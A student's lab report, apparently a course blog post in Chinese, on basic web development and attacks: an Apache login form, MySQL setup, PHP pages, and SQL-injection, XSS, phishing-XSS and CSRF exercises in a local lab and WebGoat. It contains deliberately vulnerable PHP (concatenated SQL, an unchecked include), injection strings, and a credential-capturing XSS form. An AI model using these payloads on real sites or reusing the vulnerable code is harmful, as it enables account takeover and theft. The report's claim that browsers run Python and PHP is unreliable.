Exp8 Web综合

目录

1 实验内容

  1.1 Web前端HTML

  1.2 Web前端JavaScript

  1.3 Web后端MySQL基础

  1.4 Web后端PHP

  1.5 简单SQL注入、XSS攻击

    1.5.1 SQL

    1.5.2 XSS

  1.6 WebGoat

    1.6.1 SQL(String SQL Injection)

    1.6.2 XSS(Phishing with XSS)

    1.6.3 CSRF(CSRF Prompt By-Pass)

2 报告内容

  2.1 什么是表单?

  2.2 浏览器可以解析运行什么语言?

  2.3 WebServer支持哪些动态语言?

  2.4 防范注入攻击的方法有哪些?

  2.5 实验总结与体会

 

1 实验内容

1.1 Web前端HTML

启动Apache服务 service apache2 start 

查看端口占用情况 netstat -aptn 

80端口被Apache监听,服务启动成功。

Kali浏览器访问回送地址 127.0.0.1 或主机浏览器访问Kali IP 192.168.145.129 ,显示Apache2默认测试页。

进入Apache目录 cd /var/www/html 

新建html文件 touch 4316.html 

修改文件夹权限 chmod 777 /var/www/html 

编辑文件内容 vi 4316.html 

使用GET方法获取用户名、密码,GET与POST的直观区别在于GET使用URL传递参数,提交用户名、密码时可以在地址栏中看到明文,而POST使用Request Body传递参数,无法直接看到参数明文。

 1 <html>
 2 <head>
 3 <meta charset="utf-8">
 4         <style>
 5             body
 6             {
 7                 background-color:#d0e4fe;
 8                 text-align:center;
 9             }
10             h1
11             {
12                 color:red;
13             }
14             p
15             {
16                 font-family:"Times New Roman";
17                 font-size:10px;
18             }
19         </style>
20 </head>
21 <h1>
22 北京电子科技学院电子邮件系统
23 </h1>
24 <body>
25 电子邮件登录
26 <form action="login.php" method="GET" onsubmit="return inputTest()">  
27     <br><input type="text" name="username" value="@besti.edu.cn" id="usr"/><br><br>
28     <input type="password" name="password" placeholder="密码" id="passwd"/><br><br>
29     <input type="submit" value="登录"/>  
30 </form> 
31 </body>
32 <p>
33 版权所有©2016 北京电子科技学院 北京市丰台区富丰路7号 邮编:100070
34 </p>
35 </html>

主机浏览器访问 192.168.145.129/4316.html 

 

1.2 Web前端JavaScript

在原有html代码的基础上添加一段JavaScript代码,实现对用户是否填写用户名、密码的判断。

 1 <script>
 2 function inputTest()
 3 {
 4     if(document.getElementById("usr").value=="")
 5     {
 6         alert("请输入用户名");
 7         return false;
 8     }
 9     else if(document.getElementById("passwd").value=="")
10     {
11         alert("请输入密码");
12         return false;
13     }
14     else
15     {
16         alert("欢迎"+document.getElementById("usr").value);
17 return true; 18 } 19 } 20 </script>

在用户点击登陆按钮后回显“欢迎+输入的用户名”。

利用回显用户名注入HTML及JavaScript。

用户名输入 <script>alert("hack!")</script> 

 

 

1.3 Web后端MySQL基础

启动MySQL服务 service mysql start 

登录 mysql -u root -p 

默认密码 password 

查看当前数据库信息 show databases; 

选择数据库 use mysql 

查看当前用户信息 select user, password, host from user; 

创建用户 create user 'test'@'localhost' identified by '1234'; 

修改root密码 set password for root@localhost = password('1234');  

刷新权限表 flush privileges; 

新建数据库 create database test; 

选择数据库 use test 

新建数据表 create table usr(username VARCHAR(10),password VARCHAR(10)); 

查看当前数据表信息 show tables; 

插入属性 insert into usr values('root','1234'); 

查询属性 select * from usr; 

 

1.4 Web后端PHP

在/var/www/html/文件夹下新建test.php文件。

1 <?php
2 echo($_GET["a"]);
3 include($_GET["a"]);
4 echo "test";
5 ?>

主机浏览器访问 192.168.145.129/test.php 

经测试,PHP正常工作。

新建login.php文件。

 1 <?php
 2 echo "loading...<br>";
 3 $uname=($_GET["username"]);
 4 $pwd=($_GET["password"]);
 5 echo $uname;
 6 echo $pwd;
 7 $query_str="SELECT * FROM usr where username='{$uname}' and password='{$pwd}';";
 8 $mysqli=new mysqli("127.0.0.1","root","1234","test");
 9 if($mysqli->connect_errno)
10 {
11     printf("Connect failed\n");
12     exit();
13 }
14 echo "<br>Connected!<br>";
15 if($result=$mysqli->query($query_str))
16 {
17     if($result->num_rows>0)
18         echo "Welcome home!<br>";
19     else
20         echo "Login Failed!<br>";
21     $result->close();
22 }
23 $mysqli->close();
24 ?>

密码正确,登录成功。

密码错误,登录失败。

 

1.5 简单SQL注入、XSS攻击

1.5.1 SQL

用户名或密码框输入 ' or 1=1# 

因为,原语句 SELECT * FROM usr where username='{$uname}' and password='{$pwd}'; 中密码 {$pwd} 被赋值为 ' or 1=1# ,

原语句变为 SELECT * FROM usr where username='root' and password='' or 1=1#';  。或用户名 {$uname} 被赋值为 ' or 1=1# ,

原语句变为 SELECT * FROM usr where username='' or 1=1#' and password='1111'; 。

#为注释符,使后续语句无效。

1=1为永真式,在“或”判断中使条件成立。

因此,无论用户名、密码是否正确,都能登录成功。

 

1.5.2 XSS

将图片4316.JPG放在/var/www/html目录下。

更改图片权限 chmod 777 4316.jpg 

主机浏览器输入用户名 <img src="4316.jpg"/> 

 

1.6 WebGoat

安装JDK1.8

下载地址(https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html

安装指南(https://www.jianshu.com/p/9ec7838411c8

检查Java版本 java -version 

安装WebGoat

下载地址(https://github.com/WebGoat/WebGoat/releases/tag/7.0.1

在文件位置打开终端,安装并运行 java -jar webgoat-container-7.0.1-war-exec.jar 

如图,启动成功,不要关闭终端。

Kali浏览器输入 http://localhost:8080/WebGoat/login.mvc 进入登录页面,用给出的用户名、密码登录。

 

1.6.1 SQL(String SQL Injection)

输入 'or 1=1;-- 

原理同1.5.1,--为SQL语言注释符。

 

1.6.2 XSS(Phishing with XSS)

在搜索框中输入以下攻击代码,创建一个表单,回显用户名、密码。

 1 </form>
 2   <script>
 3 function hack(){ 
 4 XSSImage=new Image;
 5 XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
 6 alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
 7 } 
 8   </script>
 9 <form name="phish">
10 <br>
11 <br>
12 <HR>
13   <H2>This feature requires account login:</H2>
14 <br>
15   <br>Enter Username:<br>
16   <input type="text" name="user">
17   <br>Enter Password:<br>
18   <input type="password" name = "pass">
19 <br>
20   <input type="submit" name="login" value="login" onclick="hack()">
21 </form>
22 <br>
23 <br>
24 <HR>

 

1.6.3 CSRF(CSRF Prompt By-Pass)

在信息框中输入以下攻击代码,转移收件人的资金。

<iframe src="attack?Screen=300&menu=900&transferFunds=9999"> </iframe>
<iframe src="attack?Screen=300&menu=900&transferFunds=CONFIRM"> </iframe>

 

2 报告内容

2.1 什么是表单?

表单是网页中用于接收用户提交数据的模块,有文本框、下拉框等形式。

 

2.2 浏览器可以解析运行什么语言?

HTML、XML、Python、PHP、JavaScript、ASP......

 

2.3 WebServer支持哪些动态语言?

ASP、JSP、PHP。

 

2.4 防范注入攻击的方法有哪些?

检查用户输入(限制长度、限制特殊字符如'--;)、用户名加密存储、密码存储哈希值等。

 

2.5 实验总结与体会

此次实验是本学期网络对抗技术课程的最后一次实验,回首过去,本学期的8次实验课让我受益匪浅,不仅提升了我的理论知识水平和计算机实操技能,还培养了我解决问题的能力。虽然课程中的实验大部分为“复现”级,很少有强调完全自主创新的“开创性”实验,但我认为这样的设计是恰当的。在初学阶段,更重要的是学习掌握网络对抗中的各种工具,把存在于PPT上的攻击方法亲手做一遍,更深刻地理解其原理,而非仅仅记住某攻击方法的某几个特点。感谢刘老师一学期的指导!

posted @ 2021-05-30 15:13  Hamil  阅读(143)  评论(0)    收藏  举报